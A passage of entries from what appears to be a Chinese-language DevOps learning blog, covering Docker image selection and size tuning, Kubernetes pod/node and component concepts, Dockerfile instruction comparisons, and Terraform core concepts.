<code>nginx.conf</code> 文件进行细粒度的性能调优,如开启 gzip 压缩、优化缓存策略和连接池配置。还可以通过 <code>ngx_brotli</code> 扩展进一步提升页面加载速度。</li><li><strong>拉取命令</strong>: <code>docker pull nginx:alpine</code></li></ul></li><li><p><strong>Apache HTTP Server</strong>: </p><ul><li><strong>介绍</strong>: Apache 是一个流行的 Web 服务器软件,支持静态和动态内容的托管。适用于复杂应用场景,尤其是需要使用 .htaccess 或集成多种模块的场景。</li><li><strong>高级技巧</strong>: Apache 支持 MPM(多处理模块),通过配置 <code>event MPM</code> 提升高并发场景下的性能表现。建议根据应用需求开启/禁用特定模块以优化资源使用。</li><li><strong>拉取命令</strong>: <code>docker pull httpd:2.4</code></li></ul></li></ul><h3 id="5-CI-x2F-CD-工具镜像"><a href="#5-CI-x2F-CD-工具镜像" class="headerlink" title="5. CI/CD 工具镜像"></a>5. <strong>CI/CD 工具镜像</strong></h3><ul><li><p><strong>Jenkins</strong>: </p><ul><li><strong>介绍</strong>: Jenkins 是一个广泛使用的开源自动化服务器,常用于构建、测试和部署应用。<code>LTS</code> 版本具备更好的稳定性,适合在生产环境中使用。</li><li><strong>高级技巧</strong>: 通过 Jenkins 的 <code>Pipeline</code> 配置文件(如 <code>Jenkinsfile</code>)实现复杂的 CI/CD 流水线,建议启用 <code>Blue Ocean</code> 插件提供更加直观的流水线视图。此外,可以将 Jenkins 主节点与执行节点分离,提升整体执行效率。</li><li><strong>拉取命令</strong>: <code>docker pull jenkins/jenkins:lts</code></li></ul></li><li><p><strong>GitLab CI</strong>: </p><ul><li><strong>介绍</strong>: GitLab CI 是 GitLab 集成的持续集成和交付工具,提供强大的流水线功能,支持自动化软件的构建和部署。<code>alpine</code> 版本适合轻量级 CI 环境。</li><li><strong>高级技巧</strong>: 建议使用 <code>GitLab Runner</code> 执行不同环境的流水线任务,并通过 <code>Cache</code> 和 <code>Artifacts</code> 功能提升构建速度和任务间的数据传递效率。此外,配置多执行节点以分担任务负载。</li><li><strong>拉取命令</strong>: <code>docker pull gitlab/gitlab-runner:alpine</code></li></ul></li><li><p><strong>Docker</strong>: </p><ul><li><strong>介绍</strong>: Docker-in-Docker 镜像用于在容器内运行 Docker,非常适合在 CI/CD 管道中进行容器化构建和测试。</li></ul></li></ul><h2 id="Docker-镜像大小调优"><a href="#Docker-镜像大小调优" class="headerlink" title="Docker 镜像大小调优"></a>Docker 镜像大小调优</h2><p>对 Docker 容器镜像大小进行调优可以显著提供镜像构建效率和资源部署效率。以下是针对不同方面的调优策略:</p><h3 id="1-使用小型基础镜像"><a href="#1-使用小型基础镜像" class="headerlink" title="1. 使用小型基础镜像"></a>1. 使用小型基础镜像</h3><p><strong>原理(WHY)</strong>:</p><ul><li>基础镜像体积:小型基础镜像(如 alpine)默认包含较少的系统组件和库,相比于完整的操作系统镜像(如 ubuntu),它们的体积要小很多。</li><li>减小体积:减少了不必要的系统组件,降低了整个镜像的体积,从而节省了磁盘空间和带宽。</li></ul><p><strong>操作(HOW)</strong>:</p><ul><li>尽量选择小型基础镜像如 <code>alpine</code>,它仅包含最基本的功能,从而减少镜像体积。例如:<code>FROM alpine</code> 替代 <code>FROM ubuntu</code>。</li></ul><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs Dockerfile"><span class="hljs-comment"># 使用 alpine 作为基础镜像,它的体积非常小(约 5 MB)</span><br><span class="hljs-keyword">FROM</span> alpine:latest<br><span class="hljs-keyword">RUN</span><span class="language-bash"> apk add --no-cache curl</span><br><span class="hljs-keyword">CMD</span><span class="language-bash"> [<span class="hljs-string">"curl"</span>, <span class="hljs-string">"--version"</span>]</span><br></code></pre></td></tr></table></figure><img src="https://img.picui.cn/free/2024/08/24/66c958d85223b.png" alt="Description" style="width: 100%; height: auto;"><h3 id="2-多阶段构建"><a href="#2-多阶段构建" class="headerlink" title="2. 多阶段构建"></a>2. 多阶段构建</h3><p><strong>原理(WHY)</strong>:</p><ul><li>分离构建和运行环境:通过多阶段构建,可以在前期阶段使用较大的镜像进行编译和构建,而最终镜像中只包含运行时所需的最小文件。</li><li>减少最终镜像体积:将构建工具和临时文件排除在最终镜像之外,从而减少最终镜像的体积。</li></ul><p><strong>操作(HOW)</strong>:</p><ul><li>使用多阶段构建可以在构建过程中使用较大的镜像进行编译,而最终镜像中只包含运行时所需的文件。</li><li>例如:在开发阶段使用 <code>maven</code> 构建应用,然后在第二阶段使用 <code>openjdk</code> 来运行构建好的应用。</li></ul><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs Dockerfile"><span class="hljs-comment"># 构建阶段</span><br><span class="hljs-keyword">FROM</span> maven:<span class="hljs-number">3.8</span>.<span class="hljs-number">1</span>-jdk-<span class="hljs-number">11</span> AS build<br><span class="hljs-keyword">WORKDIR</span><span class="language-bash"> /app</span><br><span class="hljs-keyword">COPY</span><span class="language-bash"> . .</span><br><span class="hljs-keyword">RUN</span><span class="language-bash"> mvn clean package</span><br><br><span class="hljs-comment"># 运行阶段</span><br><span class="hljs-keyword">FROM</span> openjdk:<span class="hljs-number">11</span>-jre-slim<br><span class="hljs-keyword">COPY</span><span class="language-bash"> --from=build /website/target/mywebsite.jar /website/mywebsite.jar</span><br><span class="hljs-keyword">CMD</span><span class="language-bash"> [<span class="hljs-string">"java"</span>, <span class="hljs-string">"-jar"</span>, <span class="hljs-string">"/website/mywebsite.jar"</span>]</span><br></code></pre></td></tr></table></figure><h3 id="3-清理临时文件"><a href="#3-清理临时文件" class="headerlink" title="3. 清理临时文件"></a>3. 清理临时文件</h3><p><strong>原理(WHY)</strong>:</p><ul><li>减少缓存和临时文件:安装包时会下载缓存和临时文件,这些文件在安装完成后通常是不必要的,删除它们可以减少镜像体积。</li><li>减少层的大小:每个 RUN 指令会创建一个新的镜像层,清理临时文件可以减少层的体积。</li></ul><p><strong>操作(HOW)</strong>:</p><ul><li>在 Dockerfile 中使用 <code>RUN</code> 指令安装包后,紧跟着 <code>rm -rf /var/lib/apt/lists/*</code> 或 <code>yum clean all</code> 清理安装过程中产生的临时文件。示例如下:</li></ul><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs Dockerfile"><span class="hljs-keyword">RUN</span><span class="language-bash"> apt-get update && apt-get install -y \</span><br><span class="language-bash">curl \</span><br><span class="language-bash">&& <span class="hljs-built_in">rm</span> -rf /var/lib/apt/lists/*</span><br></code></pre></td></tr></table></figure><h3 id="4-合并指令"><a href="#4-合并指令" class="headerlink" title="4. 合并指令"></a>4. 合并指令</h3><p><strong>原理(WHY)</strong>:</p><ul><li>减少镜像层数:每个 RUN 指令都会创建一个新的镜像层。合并多个指令可以减少这些中间层,从而减少镜像的体积。</li><li>减少重复操作:将相关操作合并到一个层中,避免了中间层的冗余和重复操作。</li></ul><p><strong>操作(HOW)</strong>:</p><ul><li>合并多个 <code>RUN</code> 指令为一个,减少中间层数,降低镜像大小。</li><li>示例:</li></ul><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs Dockerfile"><span class="hljs-keyword">RUN</span><span class="language-bash"> apt-get update && apt-get install -y curl && <span class="hljs-built_in">rm</span> -rf /var/lib/apt/lists/*</span><br></code></pre></td></tr></table></figure>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>Docker</tag>
</tags>
</entry>
<entry>
<title>Kubernetes 学习 —— node 🆚 pod</title>
<link href="/2024/08/22/Learning-Kubernetes-002/"/>
<url>/2024/08/22/Learning-Kubernetes-002/</url>
<content type="html"><![CDATA[<p>上一篇,我们介绍了 kubernetes 的控制面板组件、节点组件和其他附加组件,这一篇我们将针对资源对象 Pod 和 Node 进行辨析,理清二者关系。</p><h3 id="1-Pod"><a href="#1-Pod" class="headerlink" title="1. Pod"></a>1. <strong>Pod</strong></h3><h4 id="定义"><a href="#定义" class="headerlink" title="定义"></a>定义</h4><ul><li><strong>Pod</strong> 是 Kubernetes 中最小的可部署单元,它封装了一个或多个容器(通常是 Docker 容器),以及这些容器共享的存储、网络和配置信息。</li><li>一个 Pod 内的所有容器共享相同的网络命名空间,可以通过 <code>localhost</code> 相互通信。</li></ul><h4 id="作用"><a href="#作用" class="headerlink" title="作用"></a>作用</h4><ul><li>Pod 是 Kubernetes 调度的基本单位,每个 Pod 都运行在一个 Node 上。</li><li>Pod 内的容器共同协作完成某个任务,通常一个 Pod 会包含一个主容器,可能还有一些辅助容器(如日志处理容器)。</li></ul><h4 id="特点"><a href="#特点" class="headerlink" title="特点"></a>特点</h4><ul><li><strong>短生命周期</strong>: Pod 通常是短暂的,当 Pod 被删除、崩溃或被替换时,会由控制器(如 Deployment)自动创建新的 Pod 来代替。</li><li><strong>不可变性</strong>: 在 Kubernetes 中,Pod 是不可变的,更新 Pod 会创建一个新的 Pod 来替换旧的。</li></ul><blockquote><p>pods 在 kubernetes 中主要有两种使用方式:运行单个容器和运行多个需要协同工作的容器。</p></blockquote><h3 id="2-Node"><a href="#2-Node" class="headerlink" title="2. Node"></a>2. <strong>Node</strong></h3><h4 id="定义-1"><a href="#定义-1" class="headerlink" title="定义"></a>定义</h4><ul><li><strong>Node</strong> 是 Kubernetes 集群中的一个工作节点,代表一台物理机或虚拟机。每个 Node 都包含多个 Pod,并负责运行这些 Pod 的容器。</li><li>Node 上运行着 Kubernetes 的关键组件,如 <code>kubelet</code>、<code>kube-proxy</code> 和容器运行时(如 Docker)。</li></ul><h4 id="作用-1"><a href="#作用-1" class="headerlink" title="作用"></a>作用</h4><ul><li><strong>资源管理</strong>: Node 管理其上的计算资源(CPU、内存、存储等),并将这些资源分配给运行的 Pod。</li><li><strong>Pod 运行环境</strong>: Node 提供了容器运行时环境和必要的系统资源,确保 Pod 能正常运行。</li></ul><h4 id="特点-1"><a href="#特点-1" class="headerlink" title="特点"></a>特点</h4><ul><li><strong>集群组成部分</strong>: 一个 Kubernetes 集群由多个 Node 组成,集群中的 Node 数量可以动态伸缩。</li><li><strong>节点状态</strong>: Node 可能处于不同的状态,如 <code>Ready</code>(就绪)、<code>NotReady</code>(未就绪)等,这些状态会影响 Pod 的调度。</li></ul><h3 id="3-Worker-Node"><a href="#3-Worker-Node" class="headerlink" title="3. Worker Node"></a>3. <strong>Worker Node</strong></h3><h4 id="定义-2"><a href="#定义-2" class="headerlink" title="定义"></a>定义</h4><ul><li><strong>Worker Node</strong> 通常是指用于运行应用负载的 Node。Kubernetes 中的 Worker Node 和 Node 在概念上是相同的,Worker Node 是 Node 的一种类型或角色。</li></ul><h4 id="作用-2"><a href="#作用-2" class="headerlink" title="作用"></a>作用</h4><ul><li>Worker Node 专门负责运行用户的应用容器(Pod),处理工作负载。相比之下,Master Node(控制节点)负责管理和调度整个集群,而不运行应用负载。</li><li>每个 Worker Node 都报告其状态和资源使用情况到 Kubernetes 控制平面(如 API Server),并接受调度指令。</li></ul><h4 id="特点-2"><a href="#特点-2" class="headerlink" title="特点"></a>特点</h4><ul><li><strong>Pod 承载</strong>: Worker Node 是实际承载和运行 Pod 的节点。</li><li><strong>集群扩展</strong>: 集群扩展时,通常会增加 Worker Node 的数量,以增加集群的计算资源和负载能力。</li></ul><h3 id="4-Pod、Node-和-Worker-Node-的关系"><a href="#4-Pod、Node-和-Worker-Node-的关系" class="headerlink" title="4. Pod、Node 和 Worker Node 的关系"></a>4. <strong>Pod、Node 和 Worker Node 的关系</strong></h3><ul><li><p><strong>Pod 与 Node 的关系</strong>:</p><ul><li>Pod 是 Kubernetes 中的基本运行单元,Pod 在 Node 上运行。</li><li>每个 Node 上可以运行多个 Pod,不同的 Pod 可以在同一个 Node 上,也可以分布在不同的 Node 上。</li><li>Pod 由调度器(Scheduler)决定在哪个 Node 上运行,调度的依据是资源需求和 Node 的资源状况。</li></ul></li><li><p><strong>Node 与 Worker Node 的关系</strong>:</p><ul><li>Node 是 Kubernetes 集群的构成元素,Worker Node 是专门用于运行用户工作负载的 Node。</li><li>集群的 Worker Node 越多,能够承载的 Pod 数量越多,因此集群的负载能力也越强。</li></ul></li><li><p><strong>集群管理</strong>:</p><ul><li>集群中的 Master Node 管理 Worker Node,Master Node 不直接运行工作负载,而是管理调度、控制、监控等功能。</li><li>Worker Node 接受 Master Node 的指令,运行实际的 Pod,并通过 kubelet 与 Master Node 保持通信。</li></ul></li></ul><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><ul><li><strong>Pod</strong> 是最小的运行单元,包含一个或多个容器。</li><li><strong>Node</strong> 是运行 Pod 的物理或虚拟机,提供必要的计算资源。</li><li><strong>Worker Node</strong> 是运行应用负载的 Node,实际承载了集群中的 Pod。</li></ul><p>这三者构成了 Kubernetes 集群中基本的运行和调度体系,Pod 依赖于 Node 的资源,而 Node 又是由 Kubernetes 控制平面管理的基础设施单元。</p><h3 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h3><p><a href="https://kubernetes.io/docs/concepts/architecture/nodes/">Kubernetes Doc: nodes</a><br><a href="https://kubernetes.io/docs/concepts/workloads/pods/">Kubernetes Doc: pods</a></p>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>Kubernetes</tag>
</tags>
</entry>
<entry>
<title>Kubernetes 学习 —— 基础组件和概念梳理</title>
<link href="/2024/08/19/Learning-Kubernetes-001/"/>
<url>/2024/08/19/Learning-Kubernetes-001/</url>
<content type="html"><![CDATA[<p>Kubernetes 的架构由多个关键组件组成,这些组件共同协作,确保容器化应用的部署、管理和扩展能够顺利进行。以下是官方文档中对 Kubernetes 核心组件的总结和梳理:</p><p><img src="https://img.picui.cn/free/2024/08/19/66c2384c71ee5.png" alt="1724004427650.png"></p><h3 id="1-控制平面组件(Control-Plane-Components)"><a href="#1-控制平面组件(Control-Plane-Components)" class="headerlink" title="1. 控制平面组件(Control Plane Components)"></a>1. 控制平面组件(Control Plane Components)</h3><p>存在的意义(WHY): Kubernetes 的控制平面持续且主动地管理每个对象的实际状态,匹配用户提供的期望状态。 </p><ul><li>kube-apiserver<ul><li>作为 Kubernetes 控制平面的核心组件,API 服务器负责处理 REST 操作,并提供集群状态数据的入口。所有资源操作(如 Pod、Service 的创建、更新、删除)都通过 kube-apiserver 进行。</li></ul></li><li>etcd<ul><li>一个强一致性和高可用的分布式键值存储,主要用于保存 Kubernetes 的所有集群数据,包括配置信息、状态信息等。etcd 是 Kubernetes 的核心数据库。</li></ul></li><li>kube-scheduler<ul><li>负责监控未分配到节点的 Pod,并将这些 Pod 分配到合适的节点上。调度器会根据资源需求、策略、数据位置等因素来决定 Pod 的调度位置。</li></ul></li><li>kube-controller-manager<ul><li>包含了多个控制器的集合,如节点控制器、复制控制器、端点控制器和服务控制器等。它们负责维护集群的期望状态与实际状态的一致性,例如在节点失效时重建 Pod。</li></ul></li><li>cloud-controller-manager<ul><li>在云环境中运行,负责与底层云平台的交互,如负载均衡器的管理、节点的添加和删除等。它将云供应商特定的控制逻辑与 Kubernetes 控制平面分离。</li></ul></li></ul><h3 id="2-节点组件(Node-Components)"><a href="#2-节点组件(Node-Components)" class="headerlink" title="2. 节点组件(Node Components)"></a>2. 节点组件(Node Components)</h3><ul><li>kubelet<ul><li>运行在每个节点上,负责确保容器在 Pod 中运行良好。它通过 API 服务器获取 Pod 的定义,并负责容器的创建、启动、停止等操作。<blockquote><p>简单来说,kubectl 用于管理运行中的集群,而 kubeadm 用于集群的初始设置和升级等基础架构方面的操作。</p></blockquote></li></ul></li><li>kube-proxy<ul><li>负责为 Kubernetes 服务提供网络代理服务,维护集群的网络规则,确保集群内的网络通信能够正确路由。它支持基于 IPVS 或 iptables 的流量转发。</li></ul></li><li>Container Runtime<ul><li>Kubernetes 支持的容器运行时(如 Docker、containerd),用于实际运行和管理容器。容器运行时负责拉取镜像、创建和运行容器等。</li></ul></li></ul><h3 id="3-附加组件(Addons)"><a href="#3-附加组件(Addons)" class="headerlink" title="3. 附加组件(Addons)"></a>3. 附加组件(Addons)</h3><ul><li>DNS<ul><li>Kubernetes 默认部署的 DNS 服务,负责为集群内的服务提供 DNS 名称解析。通常,Pod 可以通过服务名称直接访问其他 Pod。</li></ul></li><li>Web UI(Dashboard)<ul><li>提供 Kubernetes 的图形化用户界面,用户可以通过它来管理和查看集群的资源和状态。</li></ul></li><li>容器资源监控<ul><li>提供对容器和节点的资源使用情况的监控,常用的工具如 Prometheus、Grafana 等,用于可视化和报警。</li></ul></li><li>日志记录<ul><li>集群的日志收集和管理,确保应用程序和系统组件的日志能够被存储和查询。</li></ul></li></ul><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>Kubernetes 通过控制平面组件来协调整个集群的状态,确保应用程序的部署、扩展和管理得以实现。每个节点上运行的节点组件则负责实际的工作负载管理和网络通信。这些组件协同工作,使 Kubernetes 能够有效地管理分布式的容器化应用程序。</p>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>Kubernetes</tag>
</tags>
</entry>
<entry>
<title>Docker 学习 —— 基础指令对比学习</title>
<link href="/2024/08/13/Learning-Docker-001/"/>
<url>/2024/08/13/Learning-Docker-001/</url>
<content type="html"><![CDATA[<h2 id="Docker-基础指令对比与关键概念"><a href="#Docker-基础指令对比与关键概念" class="headerlink" title="Docker 基础指令对比与关键概念"></a>Docker 基础指令对比与关键概念</h2><p>在 Docker 中,理解和区分不同的指令和概念对于构建高效的容器化应用至关重要,最近面试就有被问到 entrypoint 和 cmd 二者区别。Docker 种还有很多类似概念和指令,特借此机会梳理对比一些常见的 Docker 指令,如 <code>ENTRYPOINT</code> vs <code>CMD</code>,以及其他类似的操作,帮助自己更好地掌握 Docker 的使用和深入学习。</p><h3 id="ENTRYPOINT-vs-CMD"><a href="#ENTRYPOINT-vs-CMD" class="headerlink" title="ENTRYPOINT vs CMD"></a><code>ENTRYPOINT</code> vs <code>CMD</code></h3><ul><li><p>**<code>ENTRYPOINT</code>**:定义容器启动时要执行的固定命令,通常不易被覆盖。适用于需要定义一个始终执行的命令的场景。</p><ul><li><strong>示例</strong>:<figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs Dockerfile"><span class="hljs-keyword">ENTRYPOINT</span><span class="language-bash"> [<span class="hljs-string">"python"</span>, <span class="hljs-string">"app.py"</span>]</span><br></code></pre></td></tr></table></figure>在这个例子中,容器启动时会执行 <code>python app.py</code>。</li></ul></li><li><p>**<code>CMD</code>**:提供默认的命令或参数,可以被用户在运行容器时覆盖。通常与 <code>ENTRYPOINT</code> 搭配使用,为 <code>ENTRYPOINT</code> 提供默认参数。</p><ul><li><strong>示例</strong>:<figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs Dockerfile"><span class="hljs-keyword">CMD</span><span class="language-bash"> [<span class="hljs-string">"app.py"</span>, <span class="hljs-string">"--help"</span>]</span><br></code></pre></td></tr></table></figure>如果没有设置 <code>ENTRYPOINT</code>,容器启动时会执行 <code>app.py --help</code>。</li></ul></li></ul><p>总结:<br> •CMD 指定容器的默认命令,且可以被覆盖。<br> •ENTRYPOINT 指定容器的主命令,通常不可被覆盖。<br> •此外,还有 RUN 是在镜像构建阶段执行的,而 CMD 和 ENTRYPOINT 是在容器启动时执行的。</p><p>思考:<br> 为什么要区分 entrypoint 和 cmd,从设计理念来说 —— ENTRYPOINT:定义容器的主要入口点,通常用于指定一个固定的命令,这些命令是属于关键命令,需要确保不可以被篡改或覆盖;CMD 更像是一个建议,用于指定当用户没有明确命令时,容器应该执行什么。同时提供 entrypoint 和 cmd 兼顾灵活性和准确性,适应各种使用场景。</p><h3 id="COPY-vs-ADD"><a href="#COPY-vs-ADD" class="headerlink" title="COPY vs ADD"></a><code>COPY</code> vs <code>ADD</code></h3><ul><li><p>**<code>COPY</code>**:将文件或目录从构建上下文复制到镜像中,仅用于简单的文件复制。</p><ul><li><strong>示例</strong>:<figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs Dockerfile"><span class="hljs-keyword">COPY</span><span class="language-bash"> ./src /app/src</span><br></code></pre></td></tr></table></figure></li></ul></li><li><p>**<code>ADD</code>**:功能更强大,不仅可以复制文件,还可以解压归档文件或从 URL 下载内容。</p><ul><li><strong>示例</strong>:<figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs Dockerfile"><span class="hljs-keyword">ADD</span><span class="language-bash"> ./src /app/src</span><br><span class="hljs-keyword">ADD</span><span class="language-bash"> https://example.com/file.tar.gz /app/</span><br></code></pre></td></tr></table></figure></li></ul></li></ul><h3 id="EXPOSE-vs-p"><a href="#EXPOSE-vs-p" class="headerlink" title="EXPOSE vs -p"></a><code>EXPOSE</code> vs <code>-p</code></h3><ul><li><p>**<code>EXPOSE</code>**:声明容器暴露的端口,用于文档说明,不会自动映射到主机端口。</p><ul><li><strong>示例</strong>:<figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs Dockerfile"><span class="hljs-keyword">EXPOSE</span> <span class="hljs-number">80</span><br></code></pre></td></tr></table></figure></li></ul></li><li><p>**<code>-p</code>**:在启动容器时将容器的端口映射到主机端口,以便从外部访问容器服务。</p><ul><li><strong>示例</strong>:<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sh">docker run -p 8080:80 myimage<br></code></pre></td></tr></table></figure></li></ul></li></ul><h3 id="ENV-vs-ARG"><a href="#ENV-vs-ARG" class="headerlink" title="ENV vs ARG"></a><code>ENV</code> vs <code>ARG</code></h3><ul><li><p>**<code>ENV</code>**:定义容器运行时可用的环境变量。</p><ul><li><strong>示例</strong>:<figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs Dockerfile"><span class="hljs-keyword">ENV</span> NODE_ENV=production<br></code></pre></td></tr></table></figure></li></ul></li><li><p>**<code>ARG</code>**:定义构建时可用的参数,仅在镜像构建期间有效。</p><ul><li><strong>示例</strong>:<figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs Dockerfile"><span class="hljs-keyword">ARG</span> VERSION=<span class="hljs-number">1.0</span><br><span class="hljs-keyword">RUN</span><span class="language-bash"> <span class="hljs-built_in">echo</span> <span class="hljs-variable">$VERSION</span></span><br></code></pre></td></tr></table></figure></li></ul></li></ul><h3 id="VOLUME-vs-mount-vs-v"><a href="#VOLUME-vs-mount-vs-v" class="headerlink" title="VOLUME vs --mount vs -v"></a><code>VOLUME</code> vs <code>--mount</code> vs <code>-v</code></h3><ul><li><p>**<code>VOLUME</code>**:声明容器中需要持久化的挂载点,Docker 会自动管理数据卷。</p><ul><li><strong>示例</strong>:<figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs Dockerfile"><span class="hljs-keyword">VOLUME</span><span class="language-bash"> /data</span><br></code></pre></td></tr></table></figure></li></ul></li><li><p>**<code>--mount</code>**:为容器指定挂载点,支持更复杂的挂载选项,语法更明确。</p><ul><li><strong>示例</strong>:<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sh">docker run --mount <span class="hljs-built_in">type</span>=<span class="hljs-built_in">bind</span>,<span class="hljs-built_in">source</span>=/host/path,target=/container/path<br></code></pre></td></tr></table></figure></li></ul></li><li><p>**<code>-v</code>**:较旧的挂载语法,功能上与 <code>--mount</code> 类似,但语法不如 <code>--mount</code> 明确。</p><ul><li><strong>示例</strong>:<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sh">docker run -v /host/path:/container/path<br></code></pre></td></tr></table></figure></li></ul></li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>通过以上对比,我们可以更清楚地理解 Docker 各个指令的用途及其差异。合理使用这些指令和概念,将帮助我们构建更高效和更灵活的容器化应用。</p>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>Docker</tag>
</tags>
</entry>
<entry>
<title>Terraform —— 核心概念</title>
<link href="/2024/08/08/Terraform-Core-Concepts/"/>
<url>/2024/08/08/Terraform-Core-Concepts/</url>
<content type="html"><![CDATA[<p>在现代 DevOps 和云计算的背景下,基础设施即代码(Infrastructure as Code, IaC)已经成为管理和部署基础设施的标准方式。Terraform 作为一种广受欢迎的 IaC 工具,因其多云支持和灵活性受到了广泛的青睐,更有很多 DevOps 岗位招聘的 JD 更是明确要求了解/熟悉 Terraform。本文将会梳理 Terraform 的基本概念,通过学习、实践掌握这个强大的工具。</p><h3 id="一、核心概念(Core-Concepts)"><a href="#一、核心概念(Core-Concepts)" class="headerlink" title="一、核心概念(Core Concepts)"></a>一、核心概念(Core Concepts)</h3><h4 id="1-Infrastructure-as-Code-IaC"><a href="#1-Infrastructure-as-Code-IaC" class="headerlink" title="1. Infrastructure as Code (IaC)"></a>1. <strong>Infrastructure as Code (IaC)</strong></h4><p>Infrastructure as Code(IaC)是一种通过编写代码来定义和管理基础设施的方法。传统上,基础设施的管理依赖于手动操作和点击界面,效率低下且容易出错。而 IaC 允许你使用类似编程的方式来描述基础设施,这意味着你可以像管理应用程序代码一样管理基础设施——通过版本控制系统跟踪更改、进行代码审查和测试。这种方法不仅提高了基础设施管理的效率,还减少了人为错误,增强了可重复性和可扩展性。</p><p>Terraform 作为一种 IaC 工具,使用 HCL(HashiCorp Configuration Language)来定义基础设施配置。你可以在代码中描述你需要的云资源、网络配置、数据库等,然后使用 Terraform 来创建、修改或销毁这些资源。</p><h4 id="2-Providers"><a href="#2-Providers" class="headerlink" title="2. Providers"></a>2. <strong>Providers</strong></h4><p>Terraform 的 <a href="https://registry.terraform.io/browse/providers">Providers</a> 是一种插件机制,用于与不同的云服务和 API 进行交互。每个 Provider 负责与特定的服务平台通信,例如 AWS、Azure、Google Cloud、Kubernetes、GitHub 等(如下图所示)。通过 Providers,Terraform 可以管理几乎任何基础设施资源。</p><p>每个 Provider 都需要进行配置,通常包括访问凭据和目标服务的地址等信息。Terraform 使用这些配置与云服务 API 交互,创建或管理资源。一个 Terraform 配置文件可以同时使用多个 Providers,这样你可以在多个云平台上管理你的基础设施。</p><p><img src="https://imgos.cn/2024/08/08/66b4d34c29d78.png" alt="terraform_provider"></p><h4 id="3-Resources"><a href="#3-Resources" class="headerlink" title="3. Resources"></a>3. <strong>Resources</strong></h4><p>Resources 是 Terraform 中的核心概念,它代表了基础设施中的一个组件。例如,在 AWS 中,资源可以是 EC2 实例、S3 存储桶、RDS 数据库实例等。在 Terraform 配置中,每个资源都使用一个特定的 Provider,并需要指定资源类型和相应的配置属性。</p><p>资源的定义包含在 Terraform 配置文件中,通常以如下形式表示:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs hcl">resource "aws_instance" "example" {<br> ami = "ami-0c55b159cbfafe1f0"<br> instance_type = "t2.micro"<br>}<br></code></pre></td></tr></table></figure><p>在这个例子中,<code>aws_instance</code> 是资源类型,<code>example</code> 是资源名称。这个资源配置了一个 AWS EC2 实例。</p><h4 id="4-Modules"><a href="#4-Modules" class="headerlink" title="4. Modules"></a>4. <strong>Modules</strong></h4><p>Modules 是 Terraform 的一项强大功能,用于组织和封装 Terraform 配置文件。通过 Modules,你可以将相关资源的配置组合在一起,从而提高配置的可重用性和可维护性。</p><p>模块可以是本地模块(位于项目目录内)或远程模块(如存储在 GitHub 上)。使用模块时,你可以通过参数化模块配置,实现不同环境下的资源配置。例如,你可以使用同一个模块在开发环境中创建一个较小的数据库实例,而在生产环境中创建一个更大、更强的数据库实例。</p><h4 id="5-State"><a href="#5-State" class="headerlink" title="5. State"></a>5. <strong>State</strong></h4><p>State(状态文件)是 Terraform 用来跟踪实际基础设施与配置文件之间关系的关键机制。Terraform 在初始化和执行操作时,会读取和更新状态文件。状态文件保存了 Terraform 管理的所有资源的当前状态信息,通常以 JSON 格式存储。</p><p>Terraform 使用状态文件来对比基础设施的当前状态和配置文件中描述的期望状态,从而生成一个变更计划。状态文件可以保存在本地,也可以保存在远程(如使用 Terraform Cloud 或者 S3 )。</p><h4 id="6-Plan-和-Apply"><a href="#6-Plan-和-Apply" class="headerlink" title="6. Plan 和 Apply"></a>6. <strong>Plan 和 Apply</strong></h4><p><code>terraform plan</code> 和 <code>terraform apply</code> 是 Terraform 中的两个核心命令:</p><ul><li><p><strong>Plan</strong>:<code>terraform plan</code> 命令用于生成并展示 Terraform 将对基础设施执行的更改计划。这个命令不会对实际的基础设施做任何改动,而是用于预览配置的影响,从而避免潜在的错误和意外更改。</p></li><li><p><strong>Apply</strong>:<code>terraform apply</code> 命令根据 <code>terraform plan</code> 的输出,实际对基础设施进行更改。执行这个命令时,Terraform 会创建、更新或删除配置中描述的资源,以使实际基础设施与配置文件描述的状态保持一致。</p></li></ul><h4 